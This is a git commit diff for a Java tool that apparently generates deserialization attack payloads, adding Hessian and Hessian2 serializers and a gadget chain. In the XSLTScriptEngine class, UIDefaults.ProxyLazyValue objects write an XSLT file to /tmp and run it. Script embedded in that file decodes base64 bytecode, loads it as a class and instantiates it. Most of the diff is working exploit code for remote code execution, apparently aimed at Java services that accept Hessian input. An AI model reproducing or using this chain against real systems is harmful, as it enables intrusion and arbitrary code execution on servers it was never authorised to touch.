feat: support hessian packer (#36)

2026-09-22 15:10:43 +08:00 · 2025-02-20 22:28:34 +08:00
parent 4a7301c7f0
commit f3ced55d8a
22 changed files with 349 additions and 49 deletions
@@ -0,0 +1,24 @@
+package com.reajason.javaweb.deserialize;
+
+import com.caucho.hessian.io.Hessian2Output;
+import lombok.SneakyThrows;
+
+import java.io.ByteArrayOutputStream;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/19
+ */
+public class Hessian2DeserializeGenerator {
+    @SneakyThrows
+    public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
+        PayloadType payloadType = config.getPayloadType();
+        Object obj = payloadType.getPayload().generate(bytes, className);
+        ByteArrayOutputStream bos = new ByteArrayOutputStream();
+        Hessian2Output hessian2Output = new Hessian2Output(bos);
+        hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
+        hessian2Output.writeObject(obj);
+        hessian2Output.close();
+        return bos.toByteArray();
+    }
+}
@@ -0,0 +1,24 @@
+package com.reajason.javaweb.deserialize;
+
+import com.caucho.hessian.io.HessianOutput;
+import lombok.SneakyThrows;
+
+import java.io.ByteArrayOutputStream;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/19
+ */
+public class HessianDeserializeGenerator {
+    @SneakyThrows
+    public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
+        PayloadType payloadType = config.getPayloadType();
+        Object obj = payloadType.getPayload().generate(bytes, className);
+        ByteArrayOutputStream bos = new ByteArrayOutputStream();
+        HessianOutput hessianOutput = new HessianOutput(bos);
+        hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
+        hessianOutput.writeObject(obj);
+        hessianOutput.close();
+        return bos.toByteArray();
+    }
+}
@@ -11,5 +11,18 @@ public interface Payload {
     * @param bytes 恶意类字节流
     * @return 序列化对象
     */
-    Object generate(byte[] bytes);
+    default Object generate(byte[] bytes) {
+        throw new UnsupportedOperationException();
+    }
+
+    /**
+     * 将恶意类字节流封装成序列化对象
+     *
+     * @param bytes     恶意类字节流
+     * @param className 恶意类名
+     * @return 序列化对象
+     */
+    default Object generate(byte[] bytes, String className) {
+        throw new UnsupportedOperationException();
+    }
 }
@@ -1,6 +1,10 @@
 package com.reajason.javaweb.deserialize;

-import com.reajason.javaweb.deserialize.payload.*;
+import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
+import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils110;
+import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils16;
+import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils18;
+import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
 import lombok.Getter;

 /**
@@ -17,6 +21,10 @@ public enum PayloadType {
    CommonsBeanutils19(new CommonsBeanutils19()),
    CommonsBeanutils110(new CommonsBeanutils110()),

+    /**
+     * Hessian XSLT write
+     */
+    XSLTScriptEngine(new XSLTScriptEngine())
    ;

    private final Payload payload;
@@ -0,0 +1,51 @@
+package com.reajason.javaweb.deserialize.payload.hessian;
+
+import com.reajason.javaweb.deserialize.Payload;
+import com.reajason.javaweb.deserialize.utils.HessianUtils;
+import com.reajason.javaweb.deserialize.utils.Reflections;
+import lombok.SneakyThrows;
+
+import javax.swing.*;
+import java.util.Arrays;
+import java.util.Base64;
+import java.util.HashMap;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/19
+ */
+public class XSLTScriptEngine implements Payload {
+    @Override
+    @SneakyThrows
+    public Object generate(byte[] bytes, String className) {
+        String base64Str = Base64.getEncoder().encodeToString(bytes);
+
+        String tmpPath = "/tmp/CACHE_XML";
+
+        String xml = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +
+                "                xmlns:se=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager\"\n" +
+                "                xmlns:js=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngine\">\n" +
+                "    <xsl:template match=\"/\">\n" +
+                "        <xsl:variable name=\"js\" select=\"&quot;var classLoader = java.lang.Thread.currentThread().getContextClassLoader();var className = '" + className + "';var base64Str = '" + base64Str + "';try { classLoader.loadClass(className).newInstance();} catch (e) { var clsString = classLoader.loadClass('java.lang.String'); var bytecode; try { var clsBase64 = classLoader.loadClass('java.util.Base64'); var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder'); var decoder = clsBase64.getMethod('getDecoder').invoke(base64Clz); bytecode = clsDecoder.getMethod('decode', clsString).invoke(decoder, base64Str); } catch (ee) { try { var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter'); bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString).invoke(datatypeConverterClz, base64Str); } catch (eee) { var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder'); bytecode = clazz1.newInstance().decodeBuffer(base64Str); } } var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader'); var clsByteArray = (new java.lang.String('a').getBytes().getClass()); var clsInt = java.lang.Integer.TYPE; var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]); defineClass.setAccessible(true); var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance();}new java.io.File('" + tmpPath + "').delete()&quot;\" />\n" +
+                "        <xsl:variable name=\"result\" select=\"js:eval(se:getEngineByName(se:new(),'js'), $js)\"/>\n" +
+                "        <xsl:value-of select=\"$result\"/>\n" +
+                "    </xsl:template>\n" +
+                "</xsl:stylesheet>\n";
+
+        UIDefaults.ProxyLazyValue writeValue = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{tmpPath, xml.getBytes()});
+        Reflections.setFieldValue(writeValue, "acc", null);
+        UIDefaults.ProxyLazyValue processValue = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file://" + tmpPath}});
+        Reflections.setFieldValue(processValue, "acc", null);
+
+        HashMap<Object, Object> map1 = new HashMap<>(1);
+        HashMap<Object, Object> map2 = new HashMap<>(1);
+        HashMap<Object, Object> map3 = new HashMap<>(1);
+        HashMap<Object, Object> map4 = new HashMap<>(1);
+        map1.put("a", new UIDefaults(new Object[]{"abc", writeValue}));
+        map2.put("a", new UIDefaults(new Object[]{"abc", writeValue}));
+        map3.put("b", new UIDefaults(new Object[]{"ccc", processValue}));
+        map4.put("b", new UIDefaults(new Object[]{"ccc", processValue}));
+
+        return HessianUtils.toMap(Arrays.asList(map1, map2, map3, map4));
+    }
+}
@@ -0,0 +1,32 @@
+package com.reajason.javaweb.deserialize.utils;
+
+import java.lang.reflect.Array;
+import java.lang.reflect.Constructor;
+import java.util.HashMap;
+import java.util.List;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/19
+ */
+public class HessianUtils {
+
+    public static HashMap<?, ?> toMap(List<?> objs) throws Exception {
+        HashMap<?, ?> s = new HashMap<>(8);
+        Reflections.setFieldValue(s, "size", objs.size());
+        Class<?> nodeC;
+        try {
+            nodeC = Class.forName("java.util.HashMap$Node");
+        } catch (ClassNotFoundException var6) {
+            nodeC = Class.forName("java.util.HashMap$Entry");
+        }
+        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
+        nodeCons.setAccessible(true);
+        Object tbl = Array.newInstance(nodeC, objs.size());
+        for (int i = 0; i < objs.size(); i++) {
+            Array.set(tbl, i, nodeCons.newInstance(0, objs.get(i), objs.get(i), null));
+        }
+        Reflections.setFieldValue(s, "table", tbl);
+        return s;
+    }
+}
@@ -1,7 +1,11 @@
 package com.reajason.javaweb.deserialize.utils;

-import com.reajason.javaweb.deserialize.payload.CommonsBeanutils19;
+import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
+import sun.reflect.ReflectionFactory;
+import sun.security.pkcs.PKCS9Attributes;

+import java.lang.reflect.AccessibleObject;
+import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;

 /**
@@ -19,7 +23,7 @@ public class Reflections {
            java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
            Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
            java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
-            getAndSetObjectM.invoke(unsafe, CommonsBeanutils19.class, offset, module);
+            getAndSetObjectM.invoke(unsafe, Reflections.class, offset, module);
        } catch (Exception ignored) {
        }
    }
@@ -47,4 +51,18 @@ public class Reflections {
        final Field field = getField(obj.getClass(), fieldName);
        return field.get(obj);
    }
+
+    public static Object createWithoutConstructor(String classname) throws Exception {
+        return createWithoutConstructor(Class.forName(classname));
+    }
+    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws Exception {
+        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
+    }
+    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception {
+        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
+        objCons.setAccessible(true);
+        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
+        sc.setAccessible(true);
+        return (T) sc.newInstance(consArgs);
+    }
 }